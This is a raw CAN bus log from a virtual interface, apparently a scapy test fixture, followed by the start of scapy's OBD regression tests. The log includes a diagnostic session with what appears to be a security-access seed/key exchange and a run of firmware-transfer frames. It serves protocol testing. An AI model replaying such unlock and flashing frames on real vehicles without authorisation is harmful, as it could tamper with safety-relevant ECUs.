(1333.072000) vcan2 1F3#000000 (1335.623000) vcan2 4E1#4843373933343934 (1338.143000) vcan2 0F1#8D0000400000 (1340.738000) vcan2 32A#0000000000000000 (1343.157000) vcan2 451#000000000000 (1345.663000) vcan2 514#304C444436453733 (1348.140000) vcan2 0F1#990000400000 (1350.699000) vcan2 1E1#000004000104F0 (1353.136000) vcan2 451#000000000000 (1355.630000) vcan2 530#00000000 (1358.145000) vcan2 0F1#A50000400000 (1360.586000) vcan2 1F3#404000 (1368.136000) vcan2 0F1#B10000400000 (1370.775000) vcan2 1F1#050A000008000070 (1373.134000) vcan2 451#000000000000 (1378.147000) vcan2 0F1#8D0000400000 (1380.704000) vcan2 1E1#000004000208E0 (1383.165000) vcan2 3C9#0766000000000000 (1388.146000) vcan2 0F1#990000400000 (1390.663000) vcan2 160#1C2A2E8703 (1393.146000) vcan2 1F3#808000 (1395.695000) vcan2 451#000000000000 (1398.165000) vcan2 0F1#A50000400000 (1400.854000) vcan2 12A#122010FF000010A0 (1408.155000) vcan2 0F1#B10000400000 (1410.747000) vcan2 135#0400000200000000 (1413.388000) vcan2 1E1#00000400030CD0 (1415.655000) vcan2 451#000000000000 (1418.177000) vcan2 0F1#8D0000400000 (1420.758000) vcan2 137#0000000030000000 (1423.111000) vcan2 1F3#C0C000 (1428.164000) vcan2 0F1#990000400000 (1430.719000) vcan2 139#0000000000000000 (1433.160000) vcan2 451#000000000000 (1438.167000) vcan2 0F1#A50000400000 (1440.790000) vcan2 1E1#00000400000000 (1443.245000) vcan2 32A#0000000000000000 (1448.170000) vcan2 0F1#B10000400000 (1450.663000) vcan2 1F3#000000 (1453.188000) vcan2 451#000000000000 (1458.178000) vcan2 0F1#8D0000400000 (1468.181000) vcan2 0F1#990000400000 (1470.742000) vcan2 1E1#000004000104F0 (1473.326000) vcan2 1F1#050A000008000070 (1475.679000) vcan2 451#000000000000 (1478.198000) vcan2 0F1#A50000400000 (1480.637000) vcan2 1F3#404000 (1483.205000) vcan2 3C9#0766000000000000 (1488.189000) vcan2 0F1#B10000400000 (1490.692000) vcan2 160#1C2A2E8703 (1493.216000) vcan2 451#000000000000 (1498.198000) vcan2 0F1#8D0000400000 (1500.845000) vcan2 12A#122010FF000010B0 (1503.256000) vcan2 1E1#000004000208E0 (1508.199000) vcan2 0F1#990000400000 (1510.788000) vcan2 135#0400000200000000 (1513.326000) vcan2 1F3#808000 (1515.699000) vcan2 451#000000000000 (1518.216000) vcan2 0F1#A50000400000 (1520.801000) vcan2 137#0000000030000000 (1523.291000) vcan2 3F1#00FF5F0C00FF0100 (1528.203000) vcan2 0F1#B10000400000 (1530.762000) vcan2 139#0000000000000000 (1533.266000) vcan2 1E1#00000400030CD0 (1535.709000) vcan2 451#000000000000 (1538.228000) vcan2 0F1#8D0000400000 (1540.716000) vcan2 1F3#C0C000 (1543.283000) vcan2 32A#0000000000000000 (1548.213000) vcan2 0F1#990000400000 (1550.717000) vcan2 451#000000000000 (1558.220000) vcan2 0F1#A50000400000 (1560.787000) vcan2 1E1#00000400000000 (1568.225000) vcan2 0F1#B10000400000 (1570.862000) vcan2 1F1#050A000008000070 (1573.173000) vcan2 1F3#000000 (1575.727000) vcan2 451#000000000000 (1578.246000) vcan2 0F1#8D0000400000 (1580.747000) vcan2 3C9#0766000000000000 (1588.233000) vcan2 0F1#990000400000 (1590.736000) vcan2 160#1C2A2E8703 (1593.307000) vcan2 1E1#000004000104F0 (1595.790000) vcan2 451#000000000000 (1598.250000) vcan2 0F1#A50000400000 (1600.901000) vcan2 12A#122010FF00001080 (1603.190000) vcan2 1F3#404000 (1608.241000) vcan2 0F1#B10000400000 (1610.830000) vcan2 135#0400000200000000 (1613.411000) vcan2 451#000000000000 (1618.247000) vcan2 0F1#8D0000400000 (1620.843000) vcan2 137#0000000030000000 (1623.306000) vcan2 1E1#000004000208E0 (1628.246000) vcan2 0F1#990000400000 (1630.806000) vcan2 139#0000000000000000 (1633.201000) vcan2 1F3#808000 (1635.752000) vcan2 451#000000000000 (1638.268000) vcan2 0F1#A50000400000 (1640.871000) vcan2 32A#0000000000000000 (1648.258000) vcan2 0F1#B10000400000 (1650.842000) vcan2 1E1#00000400030CD0 (1653.275000) vcan2 451#000000000000 (1658.267000) vcan2 0F1#8D0000400000 (1660.715000) vcan2 1F3#C0C000 (1668.268000) vcan2 0F1#990000400000 (1670.905000) vcan2 1F1#050A000008000070 (1673.261000) vcan2 451#000000000000 (1678.271000) vcan2 0F1#A50000400000 (1680.840000) vcan2 1E1#00000400000000 (1683.292000) vcan2 3C9#0766000000000000 (1688.376000) vcan2 0F1#B10000400000 (1690.883000) vcan2 160#1C2A2E8703 (1693.367000) vcan2 1F3#000000 (1695.918000) vcan2 451#000000000000 (1698.397000) vcan2 0F1#8D0000400000 (1701.083000) vcan2 12A#122010FF00001090 (1708.382000) vcan2 0F1#990000400000 (1710.973000) vcan2 135#0400000200000000 (1713.621000) vcan2 1E1#000004000104F0 (1715.888000) vcan2 451#000000000000 (1718.401000) vcan2 0F1#A50000400000 (1720.990000) vcan2 137#0000000030000000 (1723.341000) vcan2 1F3#404000 (1728.392000) vcan2 0F1#B10000400000 (1730.945000) vcan2 139#0000000000000000 (1733.391000) vcan2 451#000000000000 (1738.403000) vcan2 0F1#8D0000400000 (1741.008000) vcan2 1E1#000004000208E0 (1743.509000) vcan2 32A#0000000000000000 (1748.402000) vcan2 0F1#990000400000 (1750.873000) vcan2 1F3#808000 (1753.404000) vcan2 451#000000000000 (1758.407000) vcan2 0F1#A50000400000 (1768.411000) vcan2 0F1#B10000400000 (1770.971000) vcan2 1E1#00000400030CD0 (1773.552000) vcan2 1F1#050A000008000070 (1775.999000) vcan2 3F1#00FF5F0C00FF0100 (1778.432000) vcan2 0F1#8D0000400000 (1780.868000) vcan2 1F3#C0C000 (1783.437000) vcan2 3C9#0766000000000000 (1785.910000) vcan2 451#000000000000 (1788.432000) vcan2 0F1#990000400000 (1790.923000) vcan2 160#1C2A2E8703 (1793.426000) vcan2 4C5#0000000000 (1798.421000) vcan2 0F1#A50000400000 (1801.080000) vcan2 12A#122010FF000010A0 (1803.491000) vcan2 1E1#00000400000000 (1805.927000) vcan2 451#000000000000 (1808.440000) vcan2 0F1#B10000400000 (1811.019000) vcan2 135#0400000200000000 (1813.556000) vcan2 1F3#000000 (1818.435000) vcan2 0F1#8D0000400000 (1821.030000) vcan2 137#0000000030000000 (1823.429000) vcan2 451#000000000000 (1828.436000) vcan2 0F1#990000400000 (1830.989000) vcan2 139#0000000000000000 (1833.496000) vcan2 1E1#000004000104F0 (1835.940000) vcan2 451#000000000000 (1838.455000) vcan2 0F1#A50000400000 (1840.952000) vcan2 1F3#404000 (1843.520000) vcan2 32A#0000000000000000 (1848.446000) vcan2 0F1#B10000400000 (1850.959000) vcan2 451#000000000000 (1858.455000) vcan2 0F1#8D0000400000 (1861.012000) vcan2 1E1#000004000208E0 (1868.453000) vcan2 0F1#990000400000 (1871.095000) vcan2 1F1#050A000008000070 (1873.404000) vcan2 1F3#808000 (1875.951000) vcan2 451#000000000000 (1878.471000) vcan2 0F1#A50000400000 (1880.978000) vcan2 3C9#0766000000000000 (1888.459000) vcan2 0F1#B10000400000 (1890.969000) vcan2 160#1C2A2E8703 (1893.558000) vcan2 1E1#00000400030CD0 (1896.043000) vcan2 451#000000000000 (1898.482000) vcan2 0F1#8D0000400000 (1901.156000) vcan2 12A#122010FF000010B0 (1903.433000) vcan2 1F3#C0C000 (1908.470000) vcan2 0F1#990000400000 (1911.059000) vcan2 135#0400000200000000 (1913.640000) vcan2 451#000000000000 (1918.475000) vcan2 0F1#A50000400000 (1921.074000) vcan2 137#0000000030000000 (1923.541000) vcan2 1E1#00000400000000 (1928.480000) vcan2 0F1#B10000400000 (1931.035000) vcan2 139#0000000000000000 (1933.426000) vcan2 1F3#000000 (1935.980000) vcan2 451#000000000000 (1938.501000) vcan2 0F1#8D0000400000 (1941.064000) vcan2 32A#0000000000000000 (1948.490000) vcan2 0F1#990000400000 (1951.139000) vcan2 1E1#000004000104F0 (1953.496000) vcan2 451#000000000000 (1958.493000) vcan2 0F1#A50000400000 (1960.946000) vcan2 1F3#404000 (1968.497000) vcan2 0F1#B10000400000 (1971.139000) vcan2 1F1#050A000008000070 (1973.494000) vcan2 451#000000000000 (1978.502000) vcan2 0F1#8D0000400000 (1979.724000) vcan2 101#FE021002FE021002 (1981.067000) vcan2 1E1#000004000208E0 (1983.526000) vcan2 3C9#0766000000000000 (1988.502000) vcan2 0F1#990000400000 (1990.982000) vcan2 160#1C2A2E8703 (1993.485000) vcan2 1F3#808000 (1996.114000) vcan2 451#000000000000 (1998.523000) vcan2 0F1#A50000400000 (2001.229000) vcan2 12A#122010FF00001080 (2003.522000) vcan2 641#01501A3186418231 (2008.515000) vcan2 0F1#B10000400000 (2011.104000) vcan2 135#0400000200000000 (2013.751000) vcan2 1E1#00000400030CD0 (2016.019000) vcan2 451#000000000000 (2018.536000) vcan2 0F1#8D0000400000 (2021.117000) vcan2 137#0000000030000000 (2023.467000) vcan2 1F3#C0C000 (2026.110000) vcan2 3F1#00FF5F0C00FF0100 (2028.537000) vcan2 0F1#990000400000 (2031.078000) vcan2 139#0000000000000000 (2033.518000) vcan2 451#000000000000 (2038.528000) vcan2 0F1#A50000400000 (2041.141000) vcan2 1E1#00000400000000 (2043.639000) vcan2 32A#0000000000000000 (2048.531000) vcan2 0F1#B10000400000 (2051.010000) vcan2 1F3#000000 (2053.536000) vcan2 451#000000000000 (2058.540000) vcan2 0F1#8D0000400000 (2060.444000) vcan2 101#FE021002FE021002 (2068.538000) vcan2 0F1#990000400000 (2071.103000) vcan2 1E1#000004000104F0 (2073.684000) vcan2 1F1#050A000008000070 (2076.037000) vcan2 451#000000000000 (2078.557000) vcan2 0F1#A50000400000 (2080.998000) vcan2 1F3#404000 (2083.567000) vcan2 3C9#0766000000000000 (2086.057000) vcan2 641#01501A3186418231 (2088.568000) vcan2 0F1#B10000400000 (2091.021000) vcan2 160#1C2A2E8703 (2093.569000) vcan2 451#000000000000 (2098.557000) vcan2 0F1#8D0000400000 (2101.208000) vcan2 12A#122010FF00001090 (2103.615000) vcan2 1E1#000004000208E0 (2108.558000) vcan2 0F1#990000400000 (2111.147000) vcan2 135#0400000200000000 (2113.688000) vcan2 1F3#808000 (2116.062000) vcan2 451#000000000000 (2118.575000) vcan2 0F1#A50000400000 (2121.160000) vcan2 137#0000000030000000 (2128.566000) vcan2 0F1#B10000400000 (2131.121000) vcan2 139#0000000000000000 (2133.624000) vcan2 1E1#00000400030CD0 (2136.064000) vcan2 451#000000000000 (2138.589000) vcan2 0F1#8D0000400000 (2141.062000) vcan2 1F3#C0C000 (2143.298000) vcan2 101#FE012803FE012800 (2143.658000) vcan2 32A#0000000000000000 (2148.575000) vcan2 0F1#990000400000 (2151.090000) vcan2 641#01681A3186418231 (2207.192000) vcan2 101#FE01A203FE01A200 (2221.098000) vcan2 641#02E2003186418231 (2278.067000) vcan2 101#FE02A501FE02A501 (2291.161000) vcan2 641#01E5003186418231 (2347.941000) vcan2 101#FE02A503FE02A503 (2605.377000) vcan2 241#0227013186418253 (2611.267000) vcan2 641#046701D6C6418231 (2625.512000) vcan2 101#FE013E4000604D40 (2681.230000) vcan2 241#0427021238418253 (2691.229000) vcan2 641#026702D6C6418231 (2697.126000) vcan2 241#021AB01230000000 (2701.230000) vcan2 641#035AB040C0000000 (2707.008000) vcan2 241#021AC04030000000 (2711.254000) vcan2 641#065AC000C0000000 (2716.999000) vcan2 241#021ACB00C0000000 (2721.211000) vcan2 641#065ACB00C0000000 (2727.009000) vcan2 241#021ACC00C0000000 (2731.221000) vcan2 641#065ACC00C0000000 (2737.004000) vcan2 241#021AD000C0000000 (2741.228000) vcan2 641#045AD04740000000 (2803.759000) vcan2 241#0634000000139453 (2811.253000) vcan2 641#037F3478446FC831 (3366.134000) vcan2 641#0174 (3422.745000) vcan2 101#FE013E4000604D40 (3426.673000) vcan2 241#10333600FEDF15CD (3426.871000) vcan2 641#300001 (3427.103000) vcan2 241#2106000000000000 (3431.863000) vcan2 241#22F7000000000000 (3436.861000) vcan2 241#2323000000000000 (3441.860000) vcan2 241#2434000000000000 (3446.862000) vcan2 241#259D000000000000 (3451.857000) vcan2 241#2636000000000000 (3456.861000) vcan2 241#2764000000000000 (3457.041000) vcan2 641#0176 (3465.541000) vcan2 101#FE013E4000604D40 (3469.528000) vcan2 241#10333600FEDF1438 (3469.725000) vcan2 641#300001 (3469.954000) vcan2 241#2164000000000000 (3474.854000) vcan2 241#223D000000000000 (3479.860000) vcan2 241#23F6000000000000 (3484.857000) vcan2 241#2463000000000000 (3489.859000) vcan2 241#25CA000000000000 (3494.858000) vcan2 241#2677000000000000 (3499.864000) vcan2 241#2738000000000000 (3500.044000) vcan2 641#0176 (3508.546000) vcan2 101#FE013E4000604D40 (3512.531000) vcan2 241#10333600FEDF15A0 (3512.728000) vcan2 641#300001 (3512.962000) vcan2 241#2167000000000000 (3517.859000) vcan2 241#2256000000000000 (3522.855000) vcan2 241#2394000000000000 (3527.858000) vcan2 241#248F000000000000 (3532.862000) vcan2 241#25C5000000000000 (3537.866000) vcan2 241#26E2000000000000 (3542.863000) vcan2 241#2791000000000000 (3543.044000) vcan2 641#0176 (3551.415000) vcan2 101#FE013E4000604D40 (3555.419000) vcan2 241#10333600FEDF12FD (3555.617000) vcan2 641#300001 (3555.845000) vcan2 241#21E0000000000000 (3560.854000) vcan2 241#2213000000000000 (3565.854000) vcan2 241#235B000000000000 (3570.854000) vcan2 241#2484000000000000 (3575.859000) vcan2 241#25D0000000000000 (3580.857000) vcan2 241#260F000000000000 (3585.856000) vcan2 241#27CF000000000000 (3586.037000) vcan2 641#0176 (3594.290000) vcan2 101#FE013E4000604D40 (3598.280000) vcan2 241#10333600FEDF110E (3598.478000) vcan2 641#300001 (3598.716000) vcan2 241#2108000000000000 (3603.857000) vcan2 241#2267000000000000 (3608.861000) vcan2 241#2308000000000000 (3613.865000) vcan2 241#2400000000000000 (3618.860000) vcan2 241#2504000000000000 (3623.862000) vcan2 241#2647000000000000 (3628.860000) vcan2 241#2780000000000000 (3629.038000) vcan2 641#0176 (3637.295000) vcan2 101#FE013E4000604D40 (3641.287000) vcan2 241#10333600FEDF14BF (3641.483000) vcan2 641#300001 (3641.713000) vcan2 241#21A6000000000000 (3646.853000) vcan2 241#2238000000000000 (3651.852000) vcan2 241#2320000000000000 (3656.856000) vcan2 241#2410000000000000 (3661.851000) vcan2 241#2566000000000000 (3666.849000) vcan2 241#26C8000000000000 (3671.853000) vcan2 241#2713000000000000 (3672.031000) vcan2 641#0176 (3680.174000) vcan2 101#FE013E4000604D40 (3684.167000) vcan2 241#10333600FEDF12D0 (3684.361000) vcan2 641#300001 (3684.590000) vcan2 241#2139000000000000 (3688.860000) vcan2 241#22AB000000000000 (3693.859000) vcan2 241#2390000000000000 (3698.861000) vcan2 241#24EB000000000000 (3703.861000) vcan2 241#25B7000000000000 (3708.860000) vcan2 241#26C9000000000000 (3713.860000) vcan2 241#2731000000000000 (3714.038000) vcan2 641#0176 (3722.181000) vcan2 101#FE013E4000604D40 (3726.173000) vcan2 241#10333600FEDF113B (3726.371000) vcan2 641#300001 (3726.609000) vcan2 241#2147000000000000 (3730.861000) vcan2 241#2280000000000000 (3735.867000) vcan2 241#2300000000000000 (3740.858000) vcan2 241#2434000000000000 (3745.866000) vcan2 241#2505000000000000 (3750.867000) vcan2 241#2674000000000000 (3755.863000) vcan2 241#2706000000000000 (3756.041000) vcan2 641#0176 (3765.049000) vcan2 101#FE013E4000604D40 (3769.048000) vcan2 241#10333600FEDF11EF (3769.247000) vcan2 641#300001 (3769.476000) vcan2 241#2196000000000000 (3773.854000) vcan2 241#2249000000000000 (3778.854000) vcan2 241#2324000000000000 (3783.855000) vcan2 241#24FC000000000000 (3788.859000) vcan2 241#255B000000000000 (3793.853000) vcan2 241#26E3000000000000 (3798.856000) vcan2 241#2712000000000000 (3799.039000) vcan2 641#0176 (3807.976000) vcan2 101#FE013E4000604D40 (3811.973000) vcan2 241#10333600FEDF1276 (3812.170000) vcan2 641#300001 (3812.398000) vcan2 241#214F000000000000 (3816.859000) vcan2 241#220D000000000000 (3821.859000) vcan2 241#2344000000000000 (3826.854000) vcan2 241#2466000000000000 (3831.856000) vcan2 241#25AA000000000000 (3836.858000) vcan2 241#2694000000000000 (3841.853000) vcan2 241#2722000000000000 (3842.032000) vcan2 641#0176 (3850.799000) vcan2 101#FE013E4000604D40 (3854.793000) vcan2 241#10333600FEDF10E1 (3854.989000) vcan2 641#300001 (3855.223000) vcan2 241#21FF000000000000 (3859.860000) vcan2 241#2205000000000000 (3864.856000) vcan2 241#2359000000000000 (3869.850000) vcan2 241#242C000000000000 (3874.861000) vcan2 241#2500000000000000 (3879.859000) vcan2 241#26C8000000000000 (3884.858000) vcan2 241#2700000000000000 (3885.037000) vcan2 641#0176 (3893.804000) vcan2 101#FE013E4000604D40 (3897.682000) vcan2 241#10333600FEDF12A3 (3897.880000) vcan2 641#300001 (3898.114000) vcan2 241#218F000000000000 (3902.850000) vcan2 241#2298000000000000 (3907.847000) vcan2 241#2342000000000000 (3912.855000) vcan2 241#24BB000000000000 (3917.850000) vcan2 241#252A000000000000 (3922.854000) vcan2 241#263F000000000000 (3927.850000) vcan2 241#271E000000000000 (3928.030000) vcan2 641#0176 (3936.681000) vcan2 101#FE013E4000604D40 (3940.673000) vcan2 241#10333600FEDF132A (3940.871000) vcan2 641#300001 (3941.101000) vcan2 241#216B000000000000 (3945.853000) vcan2 241#22B5000000000000 (3950.848000) vcan2 241#2359000000000000 (3955.850000) vcan2 241#2488000000000000 (3960.854000) vcan2 241#2530000000000000 (3965.851000) vcan2 241#2674000000000000 (3970.855000) vcan2 241#27EB000000000000 (3971.035000) vcan2 641#0176 (3979.552000) vcan2 101#FE013E4000604D40 (3983.536000) vcan2 241#101F3600FEDF1627 (3983.734000) vcan2 641#300001 (3983.960000) vcan2 241#214D5A4C2B2C2D36 (3988.864000) vcan2 241#223035FFFFFFFFFF (3993.871000) vcan2 241#23FFFFFFFFFFFFFF (3998.855000) vcan2 241#24FFFFFFFF8A2977 (3999.035000) vcan2 641#0176 (4007.559000) vcan2 101#FE013E4000604D40 (4011.544000) vcan2 241#10333600FEDF102D (4011.741000) vcan2 641#300001 (4011.978000) vcan2 241#2100000000000000 (4016.856000) vcan2 241#2280000000000000 (4021.856000) vcan2 241#2305000000000000 (4026.851000) vcan2 241#247F000000000000 (4031.857000) vcan2 241#25FD000000000000 (4036.853000) vcan2 241#26B5000000000000 (4041.856000) vcan2 241#27FE000000000000 (4042.036000) vcan2 641#0176 (4050.438000) vcan2 101#FE013E4000604D40 (4054.441000) vcan2 241#10333600FEDF15FA (4054.638000) vcan2 641#300001 (4054.864000) vcan2 241#21B8000000000000 (4059.845000) vcan2 241#22A6000000000000 (4064.847000) vcan2 241#232E000000000000 (4069.844000) vcan2 241#24CC000000000000 (4074.848000) vcan2 241#255E000000000000 (4079.850000) vcan2 241#26FF000000000000 (4084.847000) vcan2 241#2763000000000000 (4085.026000) vcan2 641#0176 (4093.303000) vcan2 101#FE013E4000604D40 (4097.299000) vcan2 241#10333600FEDF1087 (4097.495000) vcan2 641#300001 (4097.735000) vcan2 241#215F000000000000 (4102.850000) vcan2 241#2280000000000000 (4107.848000) vcan2 241#2300000000000000 (4112.848000) vcan2 241#24EA000000000000 (4117.849000) vcan2 241#2500000000000000 (4122.855000) vcan2 241#2608000000000000 (4127.846000) vcan2 241#2700000000000000 (4128.027000) vcan2 641#0176 (4136.304000) vcan2 101#FE013E4000604D40 (4140.292000) vcan2 241#10333600FEDF14EC (4140.488000) vcan2 641#300001 (4140.720000) vcan2 241#21DF000000000000 (4145.842000) vcan2 241#222A000000000000 (4150.847000) vcan2 241#2365000000000000 (4155.841000) vcan2 241#2426000000000000 (4160.840000) vcan2 241#25E9000000000000 (4165.846000) vcan2 241#2616000000000000 (4170.846000) vcan2 241#27CA000000000000 (4171.024000) vcan2 641#0176 (4179.149000) vcan2 101#FE013E4000604D40 (4183.177000) vcan2 241#10333600FEDF10B4 (4183.373000) vcan2 641#300001 (4183.611000) vcan2 241#2101000000000000 (4187.849000) vcan2 241#2200000000000000 (4192.844000) vcan2 241#23C5000000000000 (4197.846000) vcan2 241#2477000000000000 (4202.838000) vcan2 241#25CE000000000000 (4207.847000) vcan2 241#266E000000000000 (4212.843000) vcan2 241#270B000000000000 (4213.021000) vcan2 641#0176 (4221.190000) vcan2 101#FE013E4000604D40 (4225.168000) vcan2 241#10333600FEDF1573 (4225.366000) vcan2 641#300001 (4225.600000) vcan2 241#21AF000000000000 (4229.842000) vcan2 241#222F000000000000 (4234.842000) vcan2 241#23FF000000000000 (4239.843000) vcan2 241#241A000000000000 (4244.841000) vcan2 241#2566000000000000 (4249.842000) vcan2 241#2605000000000000 (4254.842000) vcan2 241#27A0000000000000 (4255.022000) vcan2 641#0176 (4263.058000) vcan2 101#FE013E4000604D40 (4267.039000) vcan2 241#10333600FEDF1465 (4267.238000) vcan2 641#300001 (4267.469000) vcan2 241#219F000000000000 (4271.837000) vcan2 241#2206000000000000 (4276.835000) vcan2 241#2390000000000000 (4281.838000) vcan2 241#241F000000000000 (4286.840000) vcan2 241#2555000000000000 (4291.838000) vcan2 241#26FA000000000000 (4296.841000) vcan2 241#274F000000000000 (4297.021000) vcan2 641#0176 (4305.977000) vcan2 101#FE013E4000604D40 (4309.970000) vcan2 241#10333600FEDF1195 (4310.167000) vcan2 641#300001 (4310.397000) vcan2 241#217E000000000000 (4314.834000) vcan2 241#2268000000000000 (4319.840000) vcan2 241#23C2000000000000 (4324.837000) vcan2 241#2400000000000000 (4329.837000) vcan2 241#2518000000000000 (4334.831000) vcan2 241#26AF000000000000 (4339.842000) vcan2 241#27AF000000000000 (4340.023000) vcan2 641#0176 (4348.978000) vcan2 101#FE013E4000604D40 (4352.800000) vcan2 241#10333600FEDF1249 (4352.996000) vcan2 641#300001 (4353.224000) vcan2 241#210F000000000000 (4357.833000) vcan2 241#22F6000000000000 (4362.837000) vcan2 241#2377000000000000 (4367.835000) vcan2 241#24AA000000000000 (4372.832000) vcan2 241#25D6000000000000 (4377.834000) vcan2 241#2627000000000000 (4382.841000) vcan2 241#27E7000000000000 (4383.020000) vcan2 641#0176 (4391.803000) vcan2 101#FE013E4000604D40 (4395.793000) vcan2 241#10333600FEDF11C2 (4395.993000) vcan2 641#300001 (4396.229000) vcan2 241#21AF000000000000 (4400.833000) vcan2 241#224C000000000000 (4405.834000) vcan2 241#237F000000000000 (4410.832000) vcan2 241#246F000000000000 (4415.833000) vcan2 241#2589000000000000 (4420.839000) vcan2 241#2615000000000000 (4425.835000) vcan2 241#27D4000000000000 (4426.015000) vcan2 641#0176 (4434.698000) vcan2 101#FE013E4000604D40 (4438.674000) vcan2 241#10333600FEDF1168 (4438.872000) vcan2 641#300001 (4439.108000) vcan2 241#2140000000000000 (4443.840000) vcan2 241#2246000000000000 (4448.833000) vcan2 241#2370000000000000 (4453.829000) vcan2 241#248E000000000000 (4458.835000) vcan2 241#2572000000000000 (4463.828000) vcan2 241#26B2000000000000 (4468.832000) vcan2 241#2763000000000000 (4469.012000) vcan2 641#0176 (4477.677000) vcan2 101#FE013E4000604D40 (4481.547000) vcan2 241#10333600FEDF1492 (4481.743000) vcan2 641#300001 (4481.973000) vcan2 241#21CA000000000000 (4486.829000) vcan2 241#22D5000000000000 (4491.830000) vcan2 241#23D2000000000000 (4496.828000) vcan2 241#2433000000000000 (4501.828000) vcan2 241#25ED000000000000 (4506.833000) vcan2 241#26F0000000000000 (4511.833000) vcan2 241#27D3000000000000 (4512.013000) vcan2 641#0176 (4520.554000) vcan2 101#FE013E4000604D40 (4524.546000) vcan2 241#10333600FEDF1546 (4524.744000) vcan2 641#300001 (4524.974000) vcan2 241#2154000000000000 (4529.830000) vcan2 241#2245000000000000 (4534.826000) vcan2 241#23D6000000000000 (4539.829000) vcan2 241#240C000000000000 (4544.829000) vcan2 241#2536000000000000 (4549.828000) vcan2 241#2690000000000000 (4554.828000) vcan2 241#279C000000000000 (4555.010000) vcan2 641#0176 (4563.430000) vcan2 101#FE013E4000604D40 (4567.415000) vcan2 241#10333600FEDF121C (4567.614000) vcan2 641#300001 (4567.843000) vcan2 241#21EC000000000000 (4572.823000) vcan2 241#225D000000000000 (4577.835000) vcan2 241#233F000000000000 (4582.824000) vcan2 241#2474000000000000 (4587.822000) vcan2 241#25A9000000000000 (4592.826000) vcan2 241#2672000000000000 (4597.827000) vcan2 241#277F000000000000 (4598.007000) vcan2 641#0176 (4606.357000) vcan2 101#FE013E4000604D40 (4610.302000) vcan2 241#10333600FEDF1000 (4610.529000) vcan2 641#300001 (4610.767000) vcan2 241#21E0000000000000 (4615.832000) vcan2 241#2202000000000000 (4620.830000) vcan2 241#2324000000000000 (4625.833000) vcan2 241#2406000000000000 (4630.833000) vcan2 241#2540000000000000 (4635.833000) vcan2 241#260D000000000000 (4640.826000) vcan2 241#2725000000000000 (4641.004000) vcan2 641#0176 (4649.300000) vcan2 101#FE013E4000604D40 (4653.290000) vcan2 241#10333600FEDF1519 (4653.486000) vcan2 641#300001 (4653.718000) vcan2 241#219B000000000000 (4658.821000) vcan2 241#222D000000000000 (4663.827000) vcan2 241#230A000000000000 (4668.831000) vcan2 241#24A0000000000000 (4673.828000) vcan2 241#25F5000000000000 (4678.822000) vcan2 241#2695000000000000 (4683.813000) vcan2 241#27CC000000000000 (4683.994000) vcan2 641#0176 (4692.166000) vcan2 101#FE013E4000604D40 (4696.170000) vcan2 241#10333600FEDF1384 (4696.368000) vcan2 641#300001 (4696.602000) vcan2 241#21D4000000000000 (4701.807000) vcan2 241#2262000000000000 (4706.807000) vcan2 241#2327000000000000 (4711.809000) vcan2 241#2466000000000000 (4716.816000) vcan2 241#25B3000000000000 (4721.810000) vcan2 241#2646000000000000 (4726.816000) vcan2 241#27FE000000000000 (4726.994000) vcan2 641#0176 (4735.157000) vcan2 101#FE013E4000604D40 (4739.155000) vcan2 241#10333600FEDF13B1 (4739.351000) vcan2 641#300001 (4739.585000) vcan2 241#21FD000000000000 (4744.809000) vcan2 241#225A000000000000 (4749.806000) vcan2 241#23BA000000000000 (4754.810000) vcan2 241#2466000000000000 (4759.805000) vcan2 241#2500000000000000 (4764.809000) vcan2 241#26A9000000000000 (4769.815000) vcan2 241#27D9000000000000 (4769.997000) vcan2 641#0176 (4778.044000) vcan2 101#FE013E4000604D40 (4782.034000) vcan2 241#10333600FEDF13DE (4782.232000) vcan2 641#300001 (4782.466000) vcan2 241#21FF000000000000 (4786.804000) vcan2 241#22D9000000000000 (4791.805000) vcan2 241#2382000000000000 (4796.803000) vcan2 241#2454000000000000 (4801.807000) vcan2 241#25E4000000000000 (4806.800000) vcan2 241#2661000000000000 (4811.810000) vcan2 241#276F000000000000 (4811.990000) vcan2 641#0176 (4820.963000) vcan2 101#FE013E4000604D40 (4824.963000) vcan2 241#10333600FEDF140B (4825.161000) vcan2 641#300001 (4825.391000) vcan2 241#2157000000000000 (4829.805000) vcan2 241#228A000000000000 (4834.803000) vcan2 241#2333000000000000 (4839.804000) vcan2 241#2444000000000000 (4844.802000) vcan2 241#2520000000000000 (4849.801000) vcan2 241#268B000000000000 (4854.805000) vcan2 241#279A000000000000 (4854.983000) vcan2 641#0176 (4863.795000) vcan2 101#FE013E4000604D40 (4867.772000) vcan2 241#10333600FEDF1357 (4867.971000) vcan2 641#300001 (4868.198000) vcan2 241#21DE000000000000 (4872.808000) vcan2 241#228F000000000000 (4877.802000) vcan2 241#23F2000000000000 (4882.801000) vcan2 241#24EA000000000000 (4887.801000) vcan2 241#2551000000000000 (4892.801000) vcan2 241#26C9000000000000 (4897.806000) vcan2 241#2732000000000000 (4897.986000) vcan2 641#0176 (4906.796000) vcan2 101#FE013E4000604D40 (4910.781000) vcan2 241#10333600FEDF105A (4910.976000) vcan2 641#300001 (4911.212000) vcan2 241#2101000000000000 (4915.815000) vcan2 241#2200000000000000 (4920.801000) vcan2 241#230A000000000000 (4925.808000) vcan2 241#2406000000000000 (4930.812000) vcan2 241#25EC000000000000 (4935.812000) vcan2 241#2600000000000000 (4940.803000) vcan2 241#27CB000000000000 (4940.982000) vcan2 641#0176 (4951.645000) vcan2 241#063680FEDF100001 scapy-2.4.4/test/contrib/automotive/obd/000077500000000000000000000000001372370053500202245ustar00rootroot00000000000000scapy-2.4.4/test/contrib/automotive/obd/obd.uts000066400000000000000000000707601372370053500215370ustar00rootroot00000000000000% Regression tests for the OBD layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module load_contrib("automotive.obd.obd", globals_dict=globals()) = Check if positive response answers req = OBD(b'\x01\x2f') res = OBD(b'\x41\x2f\x1a') assert res.answers(req) = Check hashret assert req.hashret() == res.hashret() = Check if negative response answers req = OBD(b'\x01\x2f') res = OBD(b'\x7f\x01\x11') assert res.answers(req) = Check if negative response request_correctly_received_response_pending answers not req = OBD(b'\x01\x2f') res = OBD(b'\x7f\x01\x78') assert not res.answers(req) = Check if negative response request_correctly_received_response_pending answers conf.contribs['OBD']['treat-response-pending-as-answer'] = True req = OBD(b'\x01\x2f') res = OBD(b'\x7f\x01\x78') assert res.answers(req) = Check hashret assert req.hashret() == res.hashret() = Check hashret for Service 0x40 req = OBD(b'\x40') res = OBD(b'\x7F\x40\x11') assert req.hashret() == res.hashret() assert res.answers(req) = Check hashret for Service 0x51 req = OBD(b'\x51') res = OBD(b'\x7F\x51\x11') assert req.hashret() == res.hashret() assert res.answers(req) = Check dissecting a request for Service 01 PID 00 p = 